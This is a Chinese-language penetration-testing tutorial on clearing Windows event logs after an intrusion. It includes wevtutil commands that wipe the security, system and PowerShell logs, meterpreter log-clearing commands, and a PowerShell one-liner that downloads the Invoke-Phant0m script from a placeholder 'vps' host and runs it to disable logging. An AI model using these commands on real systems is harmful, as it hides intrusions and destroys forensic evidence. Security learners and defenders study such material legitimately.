Windows痕迹清除|内网渗透学习(十三)
在渗透测试过程中·Windows日志往往会记录系统上的敏感操作,如添加用户
, 远程登录
, 执行命令
等, 攻击者通常会对Windows日志进行清除和绕过。
下面就是一些对日志的简单介绍和取出操作。
Windows日志
日志主要包括五个类别:
- 应用程序
- 安全
- Setup
- 系统
- 转发
日志文件均存放在C:WindowsSystem32winevtLogs
, 在文件夹中上图的各个选项分别有一个日志文件.evtx
, 而Microft
则是有多个日志文件
使用powershell查看所有应用程序的日志:
代码语言:javascript复制powershell.exe -c "Get-WinEvent -FilterHashtable @{logname='Application';}"
日志清理
最粗暴的方法应该就是直接删除C:WindowsSystem32winevtLogs
下面对应的日志文件了, 但是一般不会这么干
wevtutil.exe
: 用于检索有关时间日志
和发布者的信息
, 安装和卸载事件清单, 运行查询, 导出, 存档, 清除
日志
wevtutil cl security #清除安全日志
wevtutil cl system #清除系统日志
wevtutil cl application #清除引用日志
wevyuyil cl "windows powershell" #清除powershell日志
上面几个是比较需要关注的日志, 其他更多地可以参考下面这两个(没找到什么很好的资料)
https://zhuanlan.zhihu.com/p/27665584
https://www.cnblogs.com/xiaozi/p/13633934.html
meterpreter 清理日志
删除渗透过程中使用的工具
删除之前添加的账号:
执行CMD命令: net user admin /del
删除应用程序
, 系统和安全日志
:
clearrev
clearrev是meterpreter提供的命令
查看时间日志
代码语言:javascript复制run event_manager -i
删除事件日志
代码语言:javascript复制run event_manager -c
停止日志记录
利用脚本让日志功能失效, 无法记录日志
第一种方法就是通过powershell脚本工具直接将日志记录的进程给kill掉, 从而使得日志记录失效
代码语言:javascript复制powershell.exe "IEX(new-object system.net.webclient).downloading
String('http://vps/Invoke-Phant0m.ps1').Invoke-Phant0m"
https://github.com/hlldz/Phant0m/blob/master/old/Invoke-Phant0m.ps1
恢复日志记录功能
把eventlog
(有可能会不存在)对应的svchost
进程结束, 重新开启Windows Event Log
服务, 即可回复日志记功能
日志记录用户创建的过程
正常情况下, 当我们添加一个一个账户的时候, 在日志的security日志
中会有建立用户过程的详细记录, 日志中记录的事件如下:
- 读取身份凭据判断是否为管理员
- 创建新用户
- 启用新用户
- 重置新用户账户密码
2022_10_02 14:30